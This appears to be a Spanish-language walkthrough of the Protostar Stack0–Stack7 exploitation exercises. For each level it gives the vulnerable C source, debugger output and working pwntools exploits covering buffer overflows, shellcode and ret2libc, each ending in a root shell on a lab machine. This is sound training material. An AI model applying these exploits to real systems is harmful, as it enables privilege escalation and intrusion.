Stack0
Acerca de
Este nivel nos introduce en el concepto de que se puede acceder a la memoria fuera de su región asignada, sobre cómo se distribuyen las variables de la pila y que la modificación fuera de la memoria asignada puede modificar la ejecución del programa.
Código
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Objetivo
Según podemos observar en el código, tenemos que conseguir que la variable "local_14" sea distinto de 0.
La variable "local_54" tiene una capacidad de 64 bytes y la variable "local_14" está declarada inmediatamente después de "local_54" por lo que si escribimos 65 bytes estaremos sobrescribiendo "local_14" y superando el desafío.
Explotación
user@protostar:/opt/protostar/bin$ python -c "print 'A'*64 + 'B'" | ./stack0
you have changed the 'modified' variable
Stack1
Acerca de
Este nivel analiza el concepto de modificar variables a valores específicos en el programa y cómo se distribuyen las variables en la memoria.
Código
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Objetivo
Según podemos observar en el código, tenemos que conseguir que la variable "local_14" tenga como valor 0x61626364.
La variable "local_54" tiene una capacidad de 64 bytes y la variable "local_14" está declarada inmediatamente después de "local_54" por lo que si escribimos 0x61626364 en little endian después de 64 caracteres estaremos sobrescribiendo "local_14" con el valor esperado y superando el desafío.
Explotación
user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print 'A' * 64 + '\x64\x63\x62\x61'")
you have correctly got the variable to the right value
Stack2
Acerca de
En este nivel analizamos las variables de entorno y cómo se pueden configurar.
Código
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Objetivo
Según el código, debemos lograr modificar el valor de la variable de entorno "GREENIE" a 0 y el valor de la variable "local_18" a 0xd0a0d0a.
En este caso nuestro punto de ataque se encuentra en la variable de entorno GREENIE. Debemos asignar 64 bytes seguidos de la dirección 0xd0a0d0a en little endian como valor a la variable de entorno GREENIE de manera que al ejecutar el binario, sobrecargaremos el buffer de la variable "local_58" sobrescribiendo el valor de la variable "local_18" ya que está alojada en la memoria inmediatamente después de "local_58".
Explotación
user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c "print 'A' * 64 + '\x0a\x0d\x0a\x0d'"); ./stack2
you have correctly modified the variable
Stack3
Acerca de
Stack3 analiza las variables de entorno y cómo se pueden configurar, y sobrescribe los punteros de función almacenados en la pila (como un preludio para sobrescribir el EIP guardado)
Código
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
Objetivo
Según el código, debemos lograr modificar el valor de la variable "fp" a la dirección de la función "win()".
Análisis
Sabemos que el tamaño de la variable "buffer" es 64 bytes por lo que, vamos a insertar un breakpoint al final de la función main(), a mostrar la dirección de comienzo de la función win() y a ejecutar el binario enviándole una cadena de 64 'A' y 4 'B' para ver si logramos escribir en EIP las 4 'B' que son equivalentes a 0x42424242.
pwndbg> disass main
Dump of assembler code for function main:
0x08048438 <+0>: push ebp
0x08048439 <+1>: mov ebp,esp
0x0804843b <+3>: and esp,0xfffffff0
0x0804843e <+6>: sub esp,0x60
0x08048441 <+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048449 <+17>: lea eax,[esp+0x1c]
0x0804844d <+21>: mov DWORD PTR [esp],eax
0x08048450 <+24>: call 0x8048330 <gets@plt>
0x08048455 <+29>: cmp DWORD PTR [esp+0x5c],0x0
0x0804845a <+34>: je 0x8048477 <main+63>
0x0804845c <+36>: mov eax,0x8048560
0x08048461 <+41>: mov edx,DWORD PTR [esp+0x5c]
0x08048465 <+45>: mov DWORD PTR [esp+0x4],edx
0x08048469 <+49>: mov DWORD PTR [esp],eax
0x0804846c <+52>: call 0x8048350 <printf@plt>
0x08048471 <+57>: mov eax,DWORD PTR [esp+0x5c]
0x08048475 <+61>: call eax
0x08048477 <+63>: leave
0x08048478 <+64>: ret
End of assembler dump.
pwndbg> disass win
Dump of assembler code for function win:
0x08048424 <+0>: push ebp
0x08048425 <+1>: mov ebp,esp
0x08048427 <+3>: sub esp,0x18
0x0804842a <+6>: mov DWORD PTR [esp],0x8048540
0x08048431 <+13>: call 0x8048360 <puts@plt>
0x08048436 <+18>: leave
0x08048437 <+19>: ret
End of assembler dump.
pwndbg> b *0x08048477
Breakpoint 1 at 0x8048477: file stack3/stack3.c, line 24.
pwndbg> r
Starting program: /mnt/Datos/Hacking/Protostar/Stack3/stack3
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
calling function pointer, jumping to 0x42424242
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Como podemos ver, tenemos control sobre EIP por lo que, ahora solo tenemos que hacer que EIP tenga como valor la dirección de comienzo de la función win(), es decir 0x08048424 aunque en nuestro exploit usaremos ELF para obtener la dirección automáticamente.
Explotación
Exploit
from pwn import *
s = ssh(host='192.168.1.242', port=22, user='user', password='user')
p = s.run('/opt/protostar/bin/stack3')
binary = ELF('stack3')
offset = 64
win = binary.symbols['win']
payload = 'A'*offset + p32(win)
p.sendline(payload)
response = p.recvall()
log.info('win() function address: {}'.format(hex(win)))
log.info('Sending payload...')
log.success('Response: \n{}'.format(response))
Ejecución
# python exploit.py
[+] Connecting to 192.168.1.242 on port 22: Done
[*] user@192.168.1.242:
Distro Unknown Unknown
OS: Unknown
Arch: Unknown
Version: 0.0.0
ASLR: Disabled
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: '/opt/protostar/bin/stack3': Done
[*] '/mnt/Datos/Hacking/Protostar/Stack3/stack3'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Receiving all data: Done (79B)
[*] Closed SSH channel with 192.168.1.242
[*] win() function address: 0x8048424
[*] Sending payload...
[+] Response:
calling function pointer, jumping to 0x08048424
code flow successfully changed
Stack4
Acerca de
Stack4 trata sobre cómo sobrescribir el EIP guardado y el desbordamiento de búfer estándar.
Código
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Objetivo
En este desafío tenemos que conseguir que EIP apunte a la función win().
Análisis
Lo primero que necesitamos conocer es en cuantos bytes se encuentra el offset. La función usada se puede ver al final del documento.
# python offset.py
[+] Starting local process './stack4': pid 7773
[*] Process './stack4' stopped with exit code -11 (SIGSEGV) (pid 7773)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Protostar/Stack4/core.7773'
Arch: i386-32-little
EIP: 0x61616161
ESP: 0xffffd1b0
Exe: '/mnt/Datos/Hacking/Protostar/Stack4/stack4' (0x8048000)
Fault: 0x61616161
[+] Offset at: 76 bytes
Una vez conocemos el offset, necesitamos saber la dirección de la función win() para ello usaremos GDB.
(gdb) disass win
Dump of assembler code for function win:
0x080483f4 <win+0>: push %ebp
0x080483f5 <win+1>: mov %esp,%ebp
0x080483f7 <win+3>: sub $0x18,%esp
0x080483fa <win+6>: movl $0x80484e0,(%esp)
0x08048401 <win+13>: call 0x804832c <puts@plt>
0x08048406 <win+18>: leave
0x08048407 <win+19>: ret
End of assembler dump.
(gdb)
Ahora sabemos que la dirección a la que debe apuntar EIP es 0x080483f4.
Explotación
El exploit consiste en el envío de una cadena de 76 bytes seguido de la dirección de la función win() en little endian.
Exploit
from pwn import *
s = ssh(host='192.168.1.242', port=22, user='user', password='user')
p = s.run('/opt/protostar/bin/stack4')
offset = 76
win = 0x080483f4
payload = asm('nop') * offset + p32(win)
log.info('Sending payload...')
p.sendline(payload)
log.success('Response: {}'.format(p.recvall()))
Ejecución
# python exploit.py
[+] Connecting to 192.168.1.242 on port 22: Done
[*] user@192.168.1.242:
Distro Unknown Unknown
OS: Unknown
Arch: Unknown
Version: 0.0.0
ASLR: Disabled
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: '/opt/protostar/bin/stack4': Done
[*] Sending payload...
[+] Receiving all data: Done (50B)
[*] Closed SSH channel with 192.168.1.242
[+] Response: code flow successfully changed
Stack5
Acerca de
Stack5 es un desbordamiento de búfer estándar, esta vez llamando a un shellcode.
Código
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Objetivo
En este desafío tenemos que cargar un shellcode en ESP y conseguir que EIP apunte al comienzo de nuestro shellcode.
Análisis
Lo primero que necesitamos conocer es en cuantos bytes se encuentra el offset. La función usada se puede ver al final del documento.
# python offset.py
[+] Starting local process './stack5': pid 7773
[*] Process './stack5' stopped with exit code -11 (SIGSEGV) (pid 7773)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Protostar/Stack5/core.7773'
Arch: i386-32-little
EIP: 0x61616161
ESP: 0xffffd1b0
Exe: '/mnt/Datos/Hacking/Protostar/Stack5/5' (0x8048000)
Fault: 0x61616161
[+] Offset at: 76 bytes
Una vez conocemos el offset, necesitamos saber la dirección de comienzo de nuestro payload, para ello vamos a usar GDB en la máquina objetivo. Lo primero que haremos será crear un breakpoint al final de la función main y ejecutaremos el binario enviando 76 'A' + 4 'B' y luego ejecutaremos x/60wx $esp para obtener la dirección de comienzo.
(gdb) disass main
Dump of assembler code for function main:
0x08048408 <main+0>: push %ebp
0x08048409 <main+1>: mov %esp,%ebp
0x0804840b <main+3>: and $0xfffffff0,%esp
0x0804840e <main+6>: sub $0x50,%esp
0x08048411 <main+9>: lea 0x10(%esp),%eax
0x08048415 <main+13>: mov %eax,(%esp)
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump.
(gdb) b *0x0804841d
Breakpoint 1 at 0x804841d: file stack5/stack5.c, line 16.
(gdb) r
Starting program: /opt/protostar/bin/stack5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Breakpoint 1, main (argc=0, argv=0xbffff854) at stack5/stack5.c:16
16 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x/60wx $esp
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffff7b0: 0x00000000 0xbffff854 0xbffff85c 0xb7fe1848
0xbffff7c0: 0xbffff810 0xffffffff 0xb7ffeff4 0x0804824b
0xbffff7d0: 0x00000001 0xbffff810 0xb7ff0626 0xb7fffab0
0xbffff7e0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff7f0: 0xbffff828 0x486fd1e6 0x6238c7f6 0x00000000
0xbffff800: 0x00000000 0x00000000 0x00000001 0x08048340
0xbffff810: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
0xbffff820: 0x00000001 0x08048340 0x00000000 0x08048361
0xbffff830: 0x08048408 0x00000001 0xbffff854 0x08048430
(gdb)
Ahora sabemos que nuestro payload comienza en 0xbffff760. Vamos a escribir el exploit.
Explotación
El exploit consiste en el envío de un shellcode que se alojará dentro del buffer y escribirá la dirección de comienzo de nuestro shellcode en EIP para que al llegar al return el binario salte a nuestro shellcode y lo ejecute. El exploit queda del siguiente modo.
Exploit
from pwn import *
s = ssh(host='192.168.1.242', port=22, user='user', password='user')
p = s.run('/opt/protostar/bin/stack5')
offset = 76
eip = 0xbffff760
shellcode = asm(shellcraft.execve('/bin/sh'))
postshellcode = asm('nop') * 8
preshellcode = asm('nop') * (offset - len(shellcode) - len(postshellcode))
payload = preshellcode + shellcode + postshellcode + p32(eip)
p.sendline(payload)
p.interactive()
Ejecución
# python exploit.py
[+] Connecting to 192.168.1.242 on port 22: Done
[*] user@192.168.1.242:
Distro Unknown Unknown
OS: Unknown
Arch: Unknown
Version: 0.0.0
ASLR: Disabled
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: '/opt/protostar/bin/stack5': Done
[*] Switching to interactive mode
# $ id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Stack6
Acerca de
Stack6 analiza lo que sucede cuando tiene restricciones en la dirección de retorno. Este nivel se puede hacer de varias maneras, como encontrar el duplicado de la carga útil (objdump -s) ayudará con esto, ret2libc, o incluso programación orientada al retorno.
Código
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
Objetivo
En este desafío no podemos modificar la dirección de retorno para que apunte a nuestro shellcode ya que if((ret & 0xbf000000) == 0xbf000000)
lo detectaría. Por lo tanto, lo que podemos es hacer un pequeño ROP (Return Oriented Programming) para la dirección de retorno apunte a las funciones que deseemos de libc.
Análisis
Lo primero que necesitamos conocer es en cuantos bytes se encuentra el offset. La función usada se puede ver al final del documento.
# python exploit.py
[+] Starting local process './stack6': pid 5374
[*] Process './stack6' stopped with exit code -11 (SIGSEGV) (pid 5374)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Protostar/Stack6/core.5374'
Arch: i386-32-little
EIP: 0x6161616b
ESP: 0xff858ec0
Exe: '/mnt/Datos/Hacking/Protostar/Stack6/stack6' (0x8048000)
Fault: 0x6161616b
[+] Offset at: 80 bytes
Para construir este exploit vamos a usar Pwntools lo cual nos facilita mucho el trabajo a la hora de extraer las direcciones que queramos por lo que, podemos escribir el exploit prácticamente sin análisis.
Una vez conocemos el offset, necesitamos conocer la dirección base de libc. Para poder hacer leak de esta dirección usaremos la función mostrada al final de este documento.
En este caso, volver a main no es imprescindible ya que ASLR está desactivado pero, en caso de estar activo tendríamos que volver a main que la dirección obtenida siguiese siendo útil puesto que de lo contrario, una nueva ejecución del binario la cambiaría.
Explotación
El exploit extrae la dirección base de libc y la almacena, después obtiene las direcciones de la función "system" y de la llamada a "/bin/sh". Tras esto, envía el tobogán de "nops" hasta llenar el buffer, envía la dirección de system seguido de un nulo y por último la llamada a "/bin/sh" para conseguir una shell.
system = libc.symbols['system']
sh = libc.search('/bin/sh\x00').next()
nops = asm('nop') * offset
payload = nops + p32(system) + p32(0x0) + p32(sh)
log.info('Sending payload')
p.sendline(payload)
p.interactive()
Exploit
from pwn import *
s = ssh(host='192.168.1.242', port=22, user='user', password='user')
p = s.run('/opt/protostar/bin/stack6')
binary = ELF('stack6')
libc = ELF('../libc-2.11.2.so')
offset = 80
def leak_libc(function):
log.info('Getting necessary addresses')
got_function = binary.got[function]
plt_function = binary.plt[function]
libc_function = libc.symbols[function]
main = binary.symbols['main']
log.success("main: " + hex(main))
log.success("got_{}: {}".format(function, hex(got_function)))
log.success("plt_{}: {}".format(function, hex(plt_function)))
log.success("libc_{}: {}\n\n".format(function, hex(libc_function), '\n\n'))
payload = asm('nop') * offset + p32(plt_function) + p32(main) + p32(got_function) + 'B'
log.info('Leaking libc addess')
p.sendline(payload)
p.recvuntil('B\n')
leak_libc = u32(p.recvn(4).ljust(4, '\x00'))
libc.address = leak_libc - libc_function
log.success("leak libc {}: {}".format(function, hex(leak_libc)))
log.success("libc base: {}\n\n".format(hex(libc.address)))
leak_libc('printf')
system = libc.symbols['system']
log.success("system: {}\n\n".format(hex(libc.address)))
sh = libc.search('/bin/sh\x00').next()
nops = asm('nop') * offset
payload = nops + p32(system) + p32(0x0) + p32(sh)
log.info('Sending payload')
p.sendline(payload)
p.interactive()
Ejecución
# python exploit.py
[+] Connecting to 192.168.1.242 on port 22: Done
[*] user@192.168.1.242:
Distro Unknown Unknown
OS: Unknown
Arch: Unknown
Version: 0.0.0
ASLR: Disabled
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: '/opt/protostar/bin/stack6': Done
[*] '/mnt/Datos/Hacking/Protostar/Stack6/stack6'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[*] '/mnt/Datos/Hacking/Protostar/libc-2.11.2.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Getting necessary addresses
[+] main: 0x80484fa
[+] got_printf: 0x804970c
[+] plt_printf: 0x80483c0
[+] libc_printf: 0x46f90
[*] Leaking libc addess
[+] leak libc printf: 0xb7eddf90
[+] libc base: 0xb7e97000
[+] system: 0xb7e97000
[*] Sending payload
[*] Switching to interactive mode
input path please: got path \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xb0\xff췐\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xb0\xff�
# $
# $ id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
# $
Stack7
Acerca de
Stack6 introduce a retorno a .text para ganar una ejecución de código. La herramienta de Metasploit "msfelfscan" puede hacer una búsqueda de instrucciones de manera sencilla, objdump también nos puede servir de utilidad.
Código
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
Objetivo
Este desafío es prácticamente igual que Stack6 pero, en este caso no podemos haer la llamada a system directamente puesto que esta vez la condición if((ret & 0xb0000000) == 0xb0000000)
es más restrictiva y nos impide que llamemos directamente a libc ya que su dirección base (como se pudo ver en Stack6) es 0xb7e97000 y la operación lógica AND que realiza la condición if se cumpliría impidiendo que continuemos el exploit. Vamos a verlo.
# python -c "print(hex(0xb0000000 & 0xb7e97000))"
0xb0000000
Análisis
Esta vez, lo que podemos hacer es que la dirección de retorno apunte a la dirección de "main" y esta a su vez apunte a la dirección de "system".
Lo primero que necesitamos conocer es en cuantos bytes se encuentra el offset. La función usada se puede ver al final del documento.
# python offset.py
[+] Starting local process './stack7': pid 6727
[*] Process './stack7' stopped with exit code -11 (SIGSEGV) (pid 6727)
[+] Parsing corefile...: Done
[*] '/mnt/Datos/Hacking/Protostar/Stack7/core.6727'
Arch: i386-32-little
EIP: 0x6161616b
ESP: 0xffd76e40
Exe: '/mnt/Datos/Hacking/Protostar/Stack7/stack7' (0x8048000)
Fault: 0x6161616b
[+] Offset at: 80 bytes
Para construir este exploit vamos a usar de nuevo Pwntools.
Una vez conocemos el offset, necesitamos conocer la dirección base de libc. Para poder hacer leak de esta dirección usaremos la función mostrada al final de este documento.
En este caso, volver a main no es imprescindible ya que ASLR está desactivado pero, en caso de estar activo tendríamos que volver a main que la dirección obtenida siguiese siendo útil puesto que de lo contrario, una nueva ejecución del binario la cambiaría.
Explotación
El exploit extrae la dirección base de libc y la almacena, después obtiene las direcciones de "main", la función "system" y de la llamada a "/bin/sh". Tras esto, envía el tobogán de "nops" hasta llenar el buffer, envía la dirección de "main" para que la dirección de retorno apunte a "main", tras esto envía la dirección de "system" para que "main" nos lleve a "system", después un nulo y por último la llamada a "/bin/sh" para conseguir una shell.
system = libc.symbols['system']
log.success("system: {}\n\n".format(hex(libc.address)))
sh = libc.search('/bin/sh\x00').next()
main = binary.symbols['main']
nops = asm('nop') * offset
payload = nops + p32(main) + p32(system) + p32(0x0) + p32(sh)
log.info('Sending payload')
p.sendline(payload)
p.sendline('')
p.interactive()
Exploit
from pwn import *
s = ssh(host='192.168.1.242', port=22, user='user', password='user')
p = s.run('/opt/protostar/bin/stack7')
binary = ELF('stack7')
libc = ELF('../libc-2.11.2.so')
offset = 80
def leak_libc(function):
log.info('Getting necessary addresses')
got_function = binary.got[function]
plt_function = binary.plt[function]
libc_function = libc.symbols[function]
main = binary.symbols['main']
log.success("main: " + hex(main))
log.success("got_{}: {}".format(function, hex(got_function)))
log.success("plt_{}: {}".format(function, hex(plt_function)))
log.success("libc_{}: {}\n\n".format(function, hex(libc_function), '\n\n'))
payload = asm('nop') * offset + p32(plt_function) + p32(main) + p32(got_function) + 'B'
log.info('Leaking libc addess')
p.sendline(payload)
p.recvuntil('B\n')
leak_libc = u32(p.recvn(4).ljust(4, '\x00'))
libc.address = leak_libc - libc_function
log.success("leak libc {}: {}".format(function, hex(leak_libc)))
log.success("libc base: {}\n\n".format(hex(libc.address)))
leak_libc('printf')
system = libc.symbols['system']
log.success("system: {}\n\n".format(hex(libc.address)))
sh = libc.search('/bin/sh\x00').next()
main = binary.symbols['main']
nops = asm('nop') * offset
payload = nops + p32(main) + p32(system) + p32(0x0) + p32(sh)
log.info('Sending payload')
p.sendline(payload)
p.sendline('')
p.interactive()
Ejecución
# python exploit.py
[+] Connecting to 192.168.1.242 on port 22: Done
[*] user@192.168.1.242:
Distro Unknown Unknown
OS: Unknown
Arch: Unknown
Version: 0.0.0
ASLR: Disabled
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: '/opt/protostar/bin/stack7': Done
[*] '/mnt/Datos/Hacking/Protostar/Stack7/stack7'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[*] '/mnt/Datos/Hacking/Protostar/libc-2.11.2.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Getting necessary addresses
[+] main: 0x8048545
[+] got_printf: 0x804975c
[+] plt_printf: 0x80483e4
[+] libc_printf: 0x46f90
[*] Leaking libc addess
[+] leak libc printf: 0xb7eddf90
[+] libc base: 0xb7e97000
[+] system: 0xb7e97000
[*] Sending payload
[*] Switching to interactive mode
\xa0�input path pleasegot path \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90E\x85\x04\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90E\x85\x04\xb0\xff�
input path please: $ got path
# $ id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
# $
Funciones útiles
Encontrar el offset
Esta función envía una cadena de 200 caracteres y guarda la salida del programa en un archivo llamado p.core sobre el cual después realiza la búsqueda del fragmento de la cadena donde se ha producido la ruptura para calcular el offset.
def get_offset():
p = process("./binary")
p.sendline(cyclic(200, n=8))
p.wait()
core = p.corefile
return cyclic_find(core.read(core.esp, 8), n=8) - 4 # - 4 because the len of 32bit address
log.success('Offset at: {} bytes'.format(get_offset()))
Encontrar la dirección de libc
Esta función envía un tobogán de "nops" hasta rellenar el offset, después envía la dirección PLT de la función que queramos usar para hacer leak como puede ser "puts", "printf", etc.; así estaremos llamando a esta función para pedirle que imprima lo que nosotros queramos que será la dirección GOT de si misma pero, antes de ello envía la dirección de "main" para que una vez haya impreso la dirección retorne de nuevo a main permitiéndonos continuar con el exploit y por último, envía una 'B' para usarla como referencia al procesar la información obtenida.
El orden o estructura del payload puede variar dependiendo de la función que usemos para realizar la extracción.
Por otro lado, al modificar el valor de 'libc.address' estamos indicando al resto del exploit cual es la dirección de comienzo de libc por lo que no será necesario que hagamos la suma de esta dirección a cada una de las funciones a las que queramos llamar.
Por ejemplo, usando "printf" sería el siguiente código. Este código es el que se ha usado en estos desafíos.
def leak_libc(function):
log.info('Getting necessary addresses')
got_function = binary.got[function]
plt_function = binary.plt[function]
libc_function = libc.symbols[function]
main = binary.symbols['main']
log.success("main: " + hex(main))
log.success("got_{}: {}".format(function, hex(got_function)))
log.success("plt_{}: {}".format(function, hex(plt_function)))
log.success("libc_{}: {}\n\n".format(function, hex(libc_function), '\n\n'))
payload = asm('nop') * offset + p32(plt_function) + p32(main) + p32(got_function) + 'B'
log.info('Leaking libc addess')
p.sendline(payload)
p.recvuntil('B\n')
leak_libc = u32(p.recvn(4).ljust(4, '\x00'))
libc.address = leak_libc - libc_function
log.success("leak libc {}: {}".format(function, hex(leak_libc)))
log.success("libc base: {}\n\n".format(hex(libc.address)))